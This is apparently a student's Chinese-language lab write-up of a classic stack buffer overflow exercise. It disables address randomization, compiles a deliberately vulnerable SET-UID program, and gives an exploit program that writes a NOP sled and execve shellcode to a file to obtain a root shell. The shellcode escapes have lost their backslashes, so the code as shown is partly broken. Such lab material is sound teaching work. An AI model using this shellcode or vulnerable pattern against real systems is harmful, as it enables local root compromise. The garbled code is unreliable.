• 20165337缓冲区溢出漏洞实验


    输入命令安装一些用于编译 32 位 C 程序的软件包:

     sudo apt-get update
    
     sudo apt-get install -y lib32z1 libc6-dev-i386
    
     sudo apt-get install -y lib32readline-gplv2-dev
    

    Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

    sudo sysctl -w kernel.randomize_va_space=0
    

    用另一个 shell 程序(zsh)代替 /bin/bash:

    $ sudo su
    
    $ cd /bin
    
    $ rm sh
    
    $ ln -s zsh sh
    
    $ exit
    

    使用bash

    在 /tmp 目录下新建一个 stack.c 文件:

    $ cd /tmp
    $ vi stack.c
    

    输入如下代码:

    /* stack.c */
    
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
        char buffer[12];
    
        /* The following statement has a buffer overflow problem */ 
        strcpy(buffer, str);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
    
        printf("Returned Properly
    ");
        return 1;
    }
    

    编译该程序,并设置 SET-UID。

    $ sudo su
    
    $ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    
    $ chmod u+s stack
    
    $ exit
    
    

    攻击刚才的漏洞程序,并通过攻击获得 root 权限。在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:

    /* exploit.c */
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[] =
        "x31xc0" //xorl %eax,%eax
        "x50"     //pushl %eax
        "x68""//sh" //pushl $0x68732f2f
        "x68""/bin"     //pushl $0x6e69622f
        "x89xe3" //movl %esp,%ebx
        "x50"     //pushl %eax
        "x53"     //pushl %ebx
        "x89xe1" //movl %esp,%ecx
        "x99"     //cdq
        "xb0x0b" //movb $0x0b,%al
        "xcdx80" //int $0x80
        ;
    
    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;
    
        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);
    
        /* You need to fill the buffer with appropriate contents here */
        strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
        strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    
        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }
    

    得到 shellcode 在内存中的地址,输入命令:

    $ gdb stack
    
    $ disass main
    
    

    设置断点

    现在修改exploit.c文件!将 x??x??x??x?? 修改为 xc4xd0xffxff

    先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

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  • 原文地址:https://www.cnblogs.com/y963976867/p/9785990.html
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